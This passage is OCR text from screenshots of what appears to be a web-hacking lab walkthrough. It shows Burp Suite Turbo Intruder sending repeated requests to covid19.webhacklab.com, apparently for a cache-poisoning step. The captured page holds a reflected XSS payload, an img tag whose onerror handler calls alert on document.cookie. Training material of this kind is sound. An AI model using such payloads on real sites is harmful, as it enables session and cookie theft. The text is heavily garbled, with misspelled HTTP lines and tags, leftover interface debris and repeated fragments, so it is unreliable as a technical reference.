6 200 376 1163 428
7 200 376 1163 495
8 200 376 1163 577
9 200 376 1163 408
10 200 376 1163 413
" 200 376 1163 522

Raw | Headers | Hex _jRawT Headers | Hex | HTML I Render ]

1 GET/HTTR/M.A : 25 <hody=> :
2 Host: covid19.webhacklab. com:5000 26
3 Connection: keep-alive 27H =<div class="hlock1">
4 28
5 29
30 I <h1=Hello warld<img src=a 0nerr0r=a|ert(document.cookie)>!<fh1>| I
| 32
23 <h2=Here is an interesting quote for youw: </h2>
34 <hif>
35  <img src=/static/hacker.svg height="200px"=>
36 <hif=
27 <h3="The hacker mindset doesn't actually see what happens on the
other side, to the victim." - Kevin Mitnick</h3=>
L | 28 <fdive
¥ 39 <fbody= i
@ [ =) # ]| 2] |7vpea search term Omatches | (@) | < || + | = | HTTPA1.12000K 1 match
I|Reqs: 12 | Queued: 100 | Duration: 41 | RPS: 0 | Connections: 12 | Retries: 0| Fails: 0 | Mext:
( Halt
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Step 10: This ‘Attack’ will only serve the payload request once:

|£ | Turbo Intruder - covid19.webhacklab.com - running - O X
Row |Payload | Status | Words | Length | Time | Label |
0 200 376 1163 402
1 200 250 ?E;Z 505
2 200 376 1163 410
3 200 376 1163 614
4 200 376 1163 517
5 200 376 1163 523
6 200 376 1163 428
T 200 376 1163 495
8 200 376 1163 577
9 200 376 1163 408
10 200 376 1163 413
1 200 376 1163 522

Raw | Headers | Hex _J RawT Headers | Hex | HTML I Render ]

1 GET/HTTP/M.A A HTTR/M .1 200 0K l:
- .

Host: covid19 webhacklab. com:5000 Server: gunicarn/19.9.0

Connection: keep-alive Date: Thu, 11 Jun 2020 12:57:58 GMT

Content-Type: text/html; charset=utf-3

2
4
5 Content-Length: 1020

“1 on N s L B

<ldoctype htmi>

SE <head=

o <title>COVID-19<title>|

]

11HE =style=

12 @import url{http:/fonts. googleapis. com/css ?family=Amatic+SC:700);
13 hody{

14 text-align: center;

L[ -
¥ |l hi{ A

@ [=][+] (2] e a search tem omaches [@ [ <[+ |[ > [HTPA1200 0K 1 match

I|Reqs: 12 | Queued: 100 | Duration: 100 | RPS: 0| Connections: 12 | Retries: 0 | Fails: 0| Next:

( Halt

END OF PART -4
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